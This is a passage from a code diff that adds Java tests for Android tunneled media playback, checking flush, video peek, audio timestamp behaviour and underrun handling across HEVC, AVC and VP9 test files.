+            int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
+
+            if (inputBufIndex >= 0) {
+                ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+                int sampleSize = extractor.readSampleData(dstBuf, 0 /* offset */);
+                long presentationTimeUs = extractor.getSampleTime();
+
+                codec.queueInputBuffer(
+                        inputBufIndex,
+                        0 /* offset */,
+                        sampleSize,
+                        presentationTimeUs,
+                        0 /* flags */);
+
+                extractor.advance();
+            }
+            int res = codec.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (res >= 0) {
+
+                int outputBufIndex = res;
+                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
+
+                buf.position(info.offset);
+                for (int i = 0; i < info.size; i += 2) {
+                    short sample = buf.getShort();
+                    if (maxvalue < sample) {
+                        maxvalue = sample;
+                    }
+                    int idx = (numBytesDecoded + i) / 2;
+                }
+
+                numBytesDecoded += info.size;
+
+                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
+            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = codec.getOutputBuffers();
+            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat oformat = codec.getOutputFormat();
+            }
+        }
+        return maxvalue;
+    }
+
+    /* return true if a particular video feature is supported for the given mimetype */
+    private boolean isVideoFeatureSupported(String mimeType, String feature) {
+        MediaFormat format = MediaFormat.createVideoFormat( mimeType, 1920, 1080);
+        format.setFeatureEnabled(feature, true);
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        String codecName = mcl.findDecoderForFormat(format);
+        return (codecName == null) ? false : true;
+    }
+
+    /**
+     * Test tunneled video playback mode if supported
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void tunneledVideoPlayback(String mimeType, String videoName) throws Exception {
+        if (!isVideoFeatureSupported(mimeType,
+                CodecCapabilities.FEATURE_TunneledPlayback)) {
+            MediaUtils.skipTest(
+                    TAG,
+                    "No tunneled video playback codec found for MIME " + mimeType);
+            return;
+        }
+
+        AudioManager am = (AudioManager)mContext.getSystemService(Context.AUDIO_SERVICE);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        // starts video playback
+        mMediaCodecPlayer.startThread();
+
+        final long durationMs = mMediaCodecPlayer.getDuration();
+        final long timeOutMs = System.currentTimeMillis() + durationMs + 5 * 1000; // add 5 sec
+        while (!mMediaCodecPlayer.isEnded()) {
+            // Log.d(TAG, "currentPosition: " + mMediaCodecPlayer.getCurrentPosition()
+            //         + "  duration: " + mMediaCodecPlayer.getDuration());
+            assertTrue("Tunneled video playback timeout exceeded",
+                    timeOutMs > System.currentTimeMillis());
+            Thread.sleep(SLEEP_TIME_MS);
+            if (mMediaCodecPlayer.getCurrentPosition() >= mMediaCodecPlayer.getDuration()) {
+                Log.d(TAG, "testTunneledVideoPlayback -- current pos = " +
+                        mMediaCodecPlayer.getCurrentPosition() +
+                        ">= duration = " + mMediaCodecPlayer.getDuration());
+                break;
+            }
+        }
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test tunneled video playback mode with HEVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPlaybackHevc() throws Exception {
+        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                    "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled video playback mode with AVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPlaybackAvc() throws Exception {
+        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled video playback mode with VP9 if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPlaybackVp9() throws Exception {
+        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_VP9,
+                    "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test tunneled video playback flush if supported
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledVideoFlush(String mimeType, String videoName) throws Exception {
+        if (!isVideoFeatureSupported(mimeType,
+                        CodecCapabilities.FEATURE_TunneledPlayback)) {
+            MediaUtils.skipTest(
+                    TAG,
+                    "No tunneled video playback codec found for MIME " + mimeType);
+            return;
+        }
+
+        AudioManager am = (AudioManager)mContext.getSystemService(Context.AUDIO_SERVICE);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        // starts video playback
+        mMediaCodecPlayer.startThread();
+        Thread.sleep(SLEEP_TIME_MS);
+        mMediaCodecPlayer.pause();
+        mMediaCodecPlayer.flush();
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test tunneled video playback flush with HEVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoFlushHevc() throws Exception {
+        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled video playback flush with AVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoFlushAvc() throws Exception {
+        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled video playback flush with VP9 if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoFlushVp9() throws Exception {
+        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test tunneled video peek is on by default if supported
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledVideoPeekDefault(String mimeType, String videoName) throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekDefault requires Android 12")) {
+            return;
+        }
+
+        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
+                                CodecCapabilities.FEATURE_TunneledPlayback),
+                        "No tunneled video playback codec found for MIME " + mimeType)){
+            return;
+        }
+
+        // Setup tunnel mode test media player
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.start();
+
+        // Assert that onFirstTunnelFrameReady is called
+        mMediaCodecPlayer.queueOneVideoFrame();
+        final int waitTimeMs = 150;
+        Thread.sleep(waitTimeMs);
+        assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
+                        waitTimeMs),
+                mMediaCodecPlayer.isFirstTunnelFrameReady());
+        // Assert that video peek is enabled and working
+        assertNotEquals(String.format("First frame not rendered within %d milliseconds",
+                        waitTimeMs), CodecState.UNINITIALIZED_TIMESTAMP,
+                mMediaCodecPlayer.getCurrentPosition());
+
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test default tunneled video peek with HEVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPeekDefaultHevc() throws Exception {
+        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test default tunneled video peek with AVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPeekDefaultAvc() throws Exception {
+        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test default tunneled video peek with VP9 if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPeekDefaultVp9() throws Exception {
+        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+
+    /**
+     * Test tunneled video peek can be turned off then on.
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) {
+            return;
+        }
+
+        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
+                                CodecCapabilities.FEATURE_TunneledPlayback),
+                        "No tunneled video playback codec found for MIME " + mimeType)){
+            return;
+        }
+
+        // Setup tunnel mode test media player
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.setVideoPeek(false); // Disable video peek
+
+        // Assert that onFirstTunnelFrameReady is called
+        mMediaCodecPlayer.queueOneVideoFrame();
+        final int waitTimeMsStep1 = 150;
+        Thread.sleep(waitTimeMsStep1);
+        assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
+                        waitTimeMsStep1),
+                mMediaCodecPlayer.isFirstTunnelFrameReady());
+        // Assert that video peek is disabled
+        assertEquals("First frame rendered while peek disabled", CodecState.UNINITIALIZED_TIMESTAMP,
+                mMediaCodecPlayer.getCurrentPosition());
+        mMediaCodecPlayer.setVideoPeek(true); // Reenable video peek
+        final int waitTimeMsStep2 = 150;
+        Thread.sleep(waitTimeMsStep2);
+        // Assert that video peek is enabled
+        assertNotEquals(String.format(
+                        "First frame not rendered within %d milliseconds while peek enabled",
+                        waitTimeMsStep2), CodecState.UNINITIALIZED_TIMESTAMP,
+                mMediaCodecPlayer.getCurrentPosition());
+
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test tunneled video peek can be turned off then on with HEVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPeekOffHevc() throws Exception {
+        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled video peek can be turned off then on with AVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPeekOffAvc() throws Exception {
+        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled video peek can be turned off then on with VP9 if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledVideoPeekOffVp9() throws Exception {
+        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test tunneled audio PTS gaps with HEVC if supported.
+     * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
+     * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
+     * gap.
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioPtsGapsHevc() throws Exception {
+        testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled audio PTS gaps with AVC if supported
+     * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
+     * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
+     * gap.
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioPtsGapsAvc() throws Exception {
+        testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled audio PTS gaps with VP9 if supported
+     * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
+     * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
+     * gap.
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioPtsGapsVp9() throws Exception {
+        testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    private void testTunneledAudioPtsGaps(String mimeType, String fileName) throws Exception {
+        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
+                CodecCapabilities.FEATURE_TunneledPlayback),
+                "No tunneled video playback codec found for MIME " + mimeType)) {
+            return;
+        }
+
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(mContext,
+                getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        mMediaCodecPlayer.startThread();
+        sleepUntil(() -> mMediaCodecPlayer.getTimestamp() != null
+                && mMediaCodecPlayer.getTimestamp().framePosition > 0,  Duration.ofSeconds(1));
+        // After 30 ms, Changing the presentation offset for audio track
+        Thread.sleep(30);
+
+        // Requirement: If the audio presentation timestamp header sent by the app is greater than
+        // the current audio clock by less than 100ms, the framePosition returned by
+        // AudioTrack#getTimestamp (per get_presentation_position) must not advance for any silent
+        // frames rendered to fill the gap.
+        // TODO: add link to documentation when available
+        mMediaCodecPlayer.setAudioTrackOffsetMs(100);
+        // Wait for 20 ms so that whatever was buffered before offset is played
+        Thread.sleep(20);
+        long initialFramePosition = mMediaCodecPlayer.getTimestamp().framePosition;
+
+        // Verify that the framePosition did not advance after 30 ms. This ensures framePosition
+        // returned by AudioTrack#getTimestamp did not advance for any silent frames rendered to
+        // fill PTS gaps.
+        Thread.sleep(30);
+        assertEquals(
+                "Initial frame position != Final frame position after introducing PTS gaps",
+                initialFramePosition, mMediaCodecPlayer.getTimestamp().framePosition);
+
+        Thread.sleep(500);
+        mMediaCodecPlayer.stopWritingToAudioTrack(true);
+
+        // Sleep till framePosition stabilizes, i.e. playback is complete or till max 3 seconds.
+        long framePosCurrent = 0;
+        int totalSleepMs = 0;
+        while (totalSleepMs < 3000
+                && framePosCurrent != mMediaCodecPlayer.getTimestamp().framePosition) {
+            framePosCurrent = mMediaCodecPlayer.getTimestamp().framePosition;
+            Thread.sleep(500);
+            totalSleepMs += 500;
+        }
+
+        // Verify if number of frames written and played are same even if PTS Gaps were present
+        // in the playback.
+        assertEquals("Number of frames written != Number of frames played",
+                mMediaCodecPlayer.getAudioFramesWritten(),
+                mMediaCodecPlayer.getTimestamp().framePosition);
+    }
+
+    /**
+     * Test tunneled audioTimestamp progress with underrun, with HEVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioTimestampProgressWithUnderrunHevc() throws Exception {
+        testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled audioTimestamp progress with underrun, with AVC if supported.
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioTimestampProgressWithUnderrunAvc() throws Exception {
+        testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     *  Test tunneled audioTimestamp progress with underrun, with VP9 if supported.
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioTimestampProgressWithUnderrunVp9() throws Exception {
+        testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    private void testTunneledAudioTimestampProgressWithUnderrun(
+            String mimeType, String fileName) throws Exception {
+        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
+                CodecCapabilities.FEATURE_TunneledPlayback),
+                "No tunneled video playback codec found for MIME " + mimeType)) {
+            return;
+        }
+
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(mContext,
+                getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        mMediaCodecPlayer.startThread();
+
+        // Stop writing to the AudioTrack after 200 ms.
+        Thread.sleep(200);
+        mMediaCodecPlayer.stopWritingToAudioTrack(true);
+
+        // Resume writing to the audioTrack after 1 sec. Write only for 200 ms.
+        Thread.sleep(1000);
+        mMediaCodecPlayer.stopWritingToAudioTrack(false);
+        Thread.sleep(200);
+        mMediaCodecPlayer.stopWritingToAudioTrack(true);
+
+        // Sleep till framePosition stabilizes, i.e. playback is complete or till max 3 seconds.
+        long framePosCurrent = 0;
+        int totalSleepMs = 0;
+        while (totalSleepMs < 3000
+                && framePosCurrent != mMediaCodecPlayer.getTimestamp().framePosition) {
+            framePosCurrent = mMediaCodecPlayer.getTimestamp().framePosition;
+            Thread.sleep(500);
+            totalSleepMs += 500;
+        }
+
+        // Verify if number of frames written and played are same. This ensures the
+        // framePosition returned by AudioTrack#getTimestamp progresses correctly in case of
+        // underrun
+        assertEquals("Number of frames written != Number of frames played",
+                mMediaCodecPlayer.getAudioFramesWritten(),
+                mMediaCodecPlayer.getTimestamp().framePosition);
+    }
+
+    /**
+     * Test accurate video rendering after a video MediaCodec flush.
+     *
+     * On some devices, queuing content when the player is paused, then triggering a flush, then
+     * queuing more content does not behave as expected. The queued content gets lost and the flush
+     * is really only applied once playback has resumed.
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledAccurateVideoFlush(String mimeType, String videoName)
+            throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) {
+            return;
+        }
+
+        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
+                                CodecCapabilities.FEATURE_TunneledPlayback),
+                        "No tunneled video playback codec found for MIME " + mimeType)){
+            return;
+        }
+
+        // Setup tunnel mode test media player
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        // start video playback
+        mMediaCodecPlayer.startThread();
+        Thread.sleep(100);
+        assertNotEquals("Video playback stalled", CodecState.UNINITIALIZED_TIMESTAMP,
+                mMediaCodecPlayer.getCurrentPosition());
+        mMediaCodecPlayer.pause();
+        Thread.sleep(50);
+        final long audioPositionUs = mMediaCodecPlayer.getAudioTrackPositionUs();
+        final long videoPositionUs = mMediaCodecPlayer.getCurrentPosition();
+        assertTrue(String.format("Video pts (%d) is ahead of audio pts (%d)",
+                        videoPositionUs, audioPositionUs),
+                videoPositionUs <= audioPositionUs);
+        mMediaCodecPlayer.videoFlush();
+        mMediaCodecPlayer.videoSeekToBeginning(true /* shouldContinuePts */);
+        Thread.sleep(50);
+        assertEquals("Video frame rendered after flush", CodecState.UNINITIALIZED_TIMESTAMP,
+                mMediaCodecPlayer.getCurrentPosition());
+        // We queue one frame, but expect it not to be rendered
+        Long queuedVideoTimestamp = mMediaCodecPlayer.queueOneVideoFrame();
+        assertNotNull("Failed to queue a video frame", queuedVideoTimestamp);
+        Thread.sleep(50); // longer wait to account for buffer manipulation
+        assertEquals("Video frame rendered during pause", CodecState.UNINITIALIZED_TIMESTAMP,
+                mMediaCodecPlayer.getCurrentPosition());
+        mMediaCodecPlayer.resume();
+        Thread.sleep(100);
+        ImmutableList<Long> renderedVideoTimestamps =
+                mMediaCodecPlayer.getRenderedVideoFrameTimestampList();
+        assertFalse("No new video timestamps", renderedVideoTimestamps.isEmpty());
+        assertEquals("First rendered video frame does not match first queued video frame",
+                renderedVideoTimestamps.get(0), queuedVideoTimestamp);
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test accurate video rendering after a video MediaCodec flush with HEVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAccurateVideoFlushHevc() throws Exception {
+        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test accurate video rendering after a video MediaCodec flush with AVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAccurateVideoFlushAvc() throws Exception {
+        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test accurate video rendering after a video MediaCodec flush with VP9 if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAccurateVideoFlushVp9() throws Exception {
+        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test tunneled audioTimestamp progress with HEVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioTimestampProgressHevc() throws Exception {
+        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled audioTimestamp progress with AVC if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioTimestampProgressAvc() throws Exception {
+        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled audioTimestamp progress with VP9 if supported
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    @Test
+    public void testTunneledAudioTimestampProgressVp9() throws Exception {
+        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test that AudioTrack timestamps don't advance after pause.
+     */
+    private void
+    testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception
+    {
+        if (!isVideoFeatureSupported(mimeType,
+                CodecCapabilities.FEATURE_TunneledPlayback)) {
+            MediaUtils.skipTest(TAG,"No tunneled video playback codec found for MIME " + mimeType);
+            return;
+        }
+
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        // starts video playback
+        mMediaCodecPlayer.startThread();
+
+        sleepUntil(() ->
+                mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP,
+                Duration.ofSeconds(1));
+        final int firstPosition = mMediaCodecPlayer.getCurrentPosition();
+        assertNotEquals("On frame rendered not called after playback start!",
+                CodecState.UNINITIALIZED_TIMESTAMP, firstPosition);
+        AudioTimestamp firstTimestamp = mMediaCodecPlayer.getTimestamp();
+        assertTrue("Timestamp is null!", firstTimestamp != null);
+
+        // Expected stabilization wait is 60ms. We triple to 180ms to prevent flakiness
+        // and still test basic functionality.
+        final int sleepTimeMs = 180;
+        Thread.sleep(sleepTimeMs);
+        mMediaCodecPlayer.pause();
+        // pause might take some time to ramp volume down.
+        Thread.sleep(sleepTimeMs);
+        AudioTimestamp timeStampAfterPause = mMediaCodecPlayer.getTimestamp();
+        // Verify the video has advanced beyond the first position.
+        assertTrue(mMediaCodecPlayer.getCurrentPosition() > firstPosition);
+        // Verify that the timestamp has advanced beyond the first timestamp.
+        assertTrue(timeStampAfterPause.nanoTime > firstTimestamp.nanoTime);
+
+        Thread.sleep(sleepTimeMs);
+        // Verify that the timestamp does not advance after pause.
+        assertEquals(timeStampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime);
+    }
+
+    /**
+     * Test tunneled audio underrun, if supported.
+     *
+     * Underrun test with lower pts after underrun.
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void tunneledAudioUnderrun(String mimeType, String videoName, int frameRate)
+            throws Exception {
+        if (!isVideoFeatureSupported(mimeType,
+                        CodecCapabilities.FEATURE_TunneledPlayback)) {
+            MediaUtils.skipTest(
+                    TAG,
+                    "No tunneled video playback codec found for MIME " + mimeType);
+            return;
+        }
+
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
